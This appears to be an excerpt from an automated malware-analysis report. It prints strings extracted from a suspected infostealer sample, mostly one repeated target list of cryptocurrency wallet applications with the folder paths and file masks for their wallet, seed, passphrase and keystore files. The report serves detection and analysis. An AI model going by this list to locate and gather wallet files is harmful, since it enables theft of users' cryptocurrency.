Desktop|1|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\|*.*|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|1|\Coinomi\Coinomi\wallets\|*.wallet|1|Coinomi|1|\Coinomi\Coinomi\wallets\|*.config|1|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Chia Wallet\config|2|\.chia\mainnet\config\|*.*|0|Chia Wallet\run|2|\.chia\mainnet\run\|*.*|0|Chia Wallet\wallet|2|\.chia\mainnet\wallet\|*.*|0|Komodo Wallet\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2627954517.0000000001E50000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Bitcoin Core|1|\Bitcoin\wallets\|wallet.dat|1|Bitcoin Core Old|1|\Bitcoin\|*wallet*.dat|0|Dogecoin|1|\Dogecoin\|*wallet*.dat|0|Raven Core|1|\Raven\|*wallet*.dat|0|Daedalus Mainnet|1|\Daedalus Mainnet\wallets\|she*.sqlite|0|Blockstream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|info.seco|0|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Jaxx Desktop (old)|1|\jaxx\Local Storage\|file__0.localstorage|0|Jaxx Desktop|1|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\|*.*|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|1|\Coinomi\Coinomi\wallets\|*.wallet|1|Coinomi|1|\Coinomi\Coinomi\wallets\|*.config|1|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Chia Wallet\config|2|\.chia\mainnet\config\|*.*|0|Chia Wallet\run|2|\.chia\mainnet\run\|*.*|0|Chia Wallet\wallet|2|\.chia\mainnet\wallet\|*.*|0|Komodo Wallet\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2627954517.0000000001E50000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Bitcoin Core|1|\Bitcoin\wallets\|wallet.dat|1|Bitcoin Core Old|1|\Bitcoin\|*wallet*.dat|0|Dogecoin|1|\Dogecoin\|*wallet*.dat|0|Raven Core|1|\Raven\|*wallet*.dat|0|Daedalus Mainnet|1|\Daedalus Mainnet\wallets\|she*.sqlite|0|Blockstream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|info.seco|0|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Jaxx Desktop (old)|1|\jaxx\Local Storage\|file__0.localstorage|0|Jaxx Desktop|1|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\|*.*|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|1|\Coinomi\Coinomi\wallets\|*.wallet|1|Coinomi|1|\Coinomi\Coinomi\wallets\|*.config|1|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Chia Wallet\config|2|\.chia\mainnet\config\|*.*|0|Chia Wallet\run|2|\.chia\mainnet\run\|*.*|0|Chia Wallet\wallet|2|\.chia\mainnet\wallet\|*.*|0|Komodo Wallet\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2627954517.0000000001E50000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Bitcoin Core|1|\Bitcoin\wallets\|wallet.dat|1|Bitcoin Core Old|1|\Bitcoin\|*wallet*.dat|0|Dogecoin|1|\Dogecoin\|*wallet*.dat|0|Raven Core|1|\Raven\|*wallet*.dat|0|Daedalus Mainnet|1|\Daedalus Mainnet\wallets\|she*.sqlite|0|Blockstream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|info.seco|0|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Jaxx Desktop (old)|1|\jaxx\Local Storage\|file__0.localstorage|0|Jaxx Desktop|1|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\|*.*|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|1|\Coinomi\Coinomi\wallets\|*.wallet|1|Coinomi|1|\Coinomi\Coinomi\wallets\|*.config|1|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Chia Wallet\config|2|\.chia\mainnet\config\|*.*|0|Chia Wallet\run|2|\.chia\mainnet\run\|*.*|0|Chia Wallet\wallet|2|\.chia\mainnet\wallet\|*.*|0|Komodo Wallet\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2627954517.0000000001E50000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Bitcoin Core|1|\Bitcoin\wallets\|wallet.dat|1|Bitcoin Core Old|1|\Bitcoin\|*wallet*.dat|0|Dogecoin|1|\Dogecoin\|*wallet*.dat|0|Raven Core|1|\Raven\|*wallet*.dat|0|Daedalus Mainnet|1|\Daedalus Mainnet\wallets\|she*.sqlite|0|Blockstream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|info.seco|0|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Jaxx Desktop (old)|1|\jaxx\Local Storage\|file__0.localstorage|0|Jaxx Desktop|1|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\|*.*|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|1|\Coinomi\Coinomi\wallets\|*.wallet|1|Coinomi|1|\Coinomi\Coinomi\wallets\|*.config|1|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Chia Wallet\config|2|\.chia\mainnet\config\|*.*|0|Chia Wallet\run|2|\.chia\mainnet\run\|*.*|0|Chia Wallet\wallet|2|\.chia\mainnet\wallet\|*.*|0|Komodo Wallet\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2627954517.0000000001E50000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Bitcoin Core|1|\Bitcoin\wallets\|wallet.dat|1|Bitcoin Core Old|1|\Bitcoin\|*wallet*.dat|0|Dogecoin|1|\Dogecoin\|*wallet*.dat|0|Raven Core|1|\Raven\|*wallet*.dat|0|Daedalus Mainnet|1|\Daedalus Mainnet\wallets\|she*.sqlite|0|Blockstream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|info.seco|0|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Jaxx Desktop (old)|1|\jaxx\Local Storage\|file__0.localstorage|0|Jaxx Desktop|1|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\|*.*|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|1|\Coinomi\Coinomi\wallets\|*.wallet|1|Coinomi|1|\Coinomi\Coinomi\wallets\|*.config|1|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Chia Wallet\config|2|\.chia\mainnet\config\|*.*|0|Chia Wallet\run|2|\.chia\mainnet\run\|*.*|0|Chia Wallet\wallet|2|\.chia\mainnet\wallet\|*.*|0|Komodo Wallet\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2627954517.0000000001E50000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Bitcoin Core|1|\Bitcoin\wallets\|wallet.dat|1|Bitcoin Core Old|1|\Bitcoin\|*wallet*.dat|0|Dogecoin|1|\Dogecoin\|*wallet*.dat|0|Raven Core|1|\Raven\|*wallet*.dat|0|Daedalus Mainnet|1|\Daedalus Mainnet\wallets\|she*.sqlite|0|Blockstream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|info.seco|0|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Jaxx Desktop (old)|1|\jaxx\Local Storage\|file__0.localstorage|0|Jaxx Desktop|1|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\|*.*|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|1|\Coinomi\Coinomi\wallets\|*.wallet|1|Coinomi|1|\Coinomi\Coinomi\wallets\|*.config|1|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Chia Wallet\config|2|\.chia\mainnet\config\|*.*|0|Chia Wallet\run|2|\.chia\mainnet\run\|*.*|0|Chia Wallet\wallet|2|\.chia\mainnet\wallet\|*.*|0|Komodo Wallet\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2627954517.0000000001E50000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Bitcoin Core|1|\Bitcoin\wallets\|wallet.dat|1|Bitcoin Core Old|1|\Bitcoin\|*wallet*.dat|0|Dogecoin|1|\Dogecoin\|*wallet*.dat|0|Raven Core|1|\Raven\|*wallet*.dat|0|Daedalus Mainnet|1|\Daedalus Mainnet\wallets\|she*.sqlite|0|Blockstream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|info.seco|0|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Jaxx Desktop (old)|1|\jaxx\Local Storage\|file__0.localstorage|0|Jaxx Desktop|1|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\|*.*|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|1|\Coinomi\Coinomi\wallets\|*.wallet|1|Coinomi|1|\Coinomi\Coinomi\wallets\|*.config|1|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Chia Wallet\config|2|\.chia\mainnet\config\|*.*|0|Chia Wallet\run|2|\.chia\mainnet\run\|*.*|0|Chia Wallet\wallet|2|\.chia\mainnet\wallet\|*.*|0|Komodo Wallet\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2627954517.0000000001E50000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Bitcoin Core|1|\Bitcoin\wallets\|wallet.dat|1|Bitcoin Core Old|1|\Bitcoin\|*wallet*.dat|0|Dogecoin|1|\Dogecoin\|*wallet*.dat|0|Raven Core|1|\Raven\|*wallet*.dat|0|Daedalus Mainnet|1|\Daedalus Mainnet\wallets\|she*.sqlite|0|Blockstream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|info.seco|0|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Jaxx Desktop (old)|1|\jaxx\Local Storage\|file__0.localstorage|0|Jaxx Desktop|1|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\|*.*|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|1|\Coinomi\Coinomi\wallets\|*.wallet|1|Coinomi|1|\Coinomi\Coinomi\wallets\|*.config|1|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Chia Wallet\config|2|\.chia\mainnet\config\|*.*|0|Chia Wallet\run|2|\.chia\mainnet\run\|*.*|0|Chia Wallet\wallet|2|\.chia\mainnet\wallet\|*.*|0|Komodo Wallet\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2627954517.0000000001E50000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Bitcoin Core|1|\Bitcoin\wallets\|wallet.dat|1|Bitcoin Core Old|1|\Bitcoin\|*wallet*.dat|0|Dogecoin|1|\Dogecoin\|*wallet*.dat|0|Raven Core|1|\Raven\|*wallet*.dat|0|Daedalus Mainnet|1|\Daedalus Mainnet\wallets\|she*.sqlite|0|Blockstream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|info.seco|0|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Jaxx Desktop (old)|1|\jaxx\Local Storage\|file__0.localstorage|0|Jaxx Desktop|1|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\|*.*|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|1|\Coinomi\Coinomi\wallets\|*.wallet|1|Coinomi|1|\Coinomi\Coinomi\wallets\|*.config|1|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Chia Wallet\config|2|\.chia\mainnet\config\|*.*|0|Chia Wallet\run|2|\.chia\mainnet\run\|*.*|0|Chia Wallet\wallet|2|\.chia\mainnet\wallet\|*.*|0|Komodo Wallet\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2627954517.0000000001E50000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Bitcoin Core|1|\Bitcoin\wallets\|wallet.dat|1|Bitcoin Core Old|1|\Bitcoin\|*wallet*.dat|0|Dogecoin|1|\Dogecoin\|*wallet*.dat|0|Raven Core|1|\Raven\|*wallet*.dat|0|Daedalus Mainnet|1|\Daedalus Mainnet\wallets\|she*.sqlite|0|Blockstream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|info.seco|0|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Jaxx Desktop (old)|1|\jaxx\Local Storage\|file__0.localstorage|0|Jaxx Desktop|1|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\|*.*|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|1|\Coinomi\Coinomi\wallets\|*.wallet|1|Coinomi|1|\Coinomi\Coinomi\wallets\|*.config|1|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Chia Wallet\config|2|\.chia\mainnet\config\|*.*|0|Chia Wallet\run|2|\.chia\mainnet\run\|*.*|0|Chia Wallet\wallet|2|\.chia\mainnet\wallet\|*.*|0|Komodo Wallet\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2627954517.0000000001E50000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Bitcoin Core|1|\Bitcoin\wallets\|wallet.dat|1|Bitcoin Core Old|1|\Bitcoin\|*wallet*.dat|0|Dogecoin|1|\Dogecoin\|*wallet*.dat|0|Raven Core|1|\Raven\|*wallet*.dat|0|Daedalus Mainnet|1|\Daedalus Mainnet\wallets\|she*.sqlite|0|Blockstream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|info.seco|0|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Jaxx Desktop (old)|1|\jaxx\Local Storage\|file__0.localstorage|0|Jaxx Desktop|1|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\|*.*|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|1|\Coinomi\Coinomi\wallets\|*.wallet|1|Coinomi|1|\Coinomi\Coinomi\wallets\|*.config|1|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Chia Wallet\config|2|\.chia\mainnet\config\|*.*|0|Chia Wallet\run|2|\.chia\mainnet\run\|*.*|0|Chia Wallet\wallet|2|\.chia\mainnet\wallet\|*.*|0|Komodo Wallet\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: 1719859269.0326595_setup.exe, 00000000.00000003.2231437346.0000021664602000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: set_UseMachineKeyStore
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2627954517.0000000001E50000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Bitcoin Core|1|\Bitcoin\wallets\|wallet.dat|1|Bitcoin Core Old|1|\Bitcoin\|*wallet*.dat|0|Dogecoin|1|\Dogecoin\|*wallet*.dat|0|Raven Core|1|\Raven\|*wallet*.dat|0|Daedalus Mainnet|1|\Daedalus Mainnet\wallets\|she*.sqlite|0|Blockstream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|info.seco|0|Electron 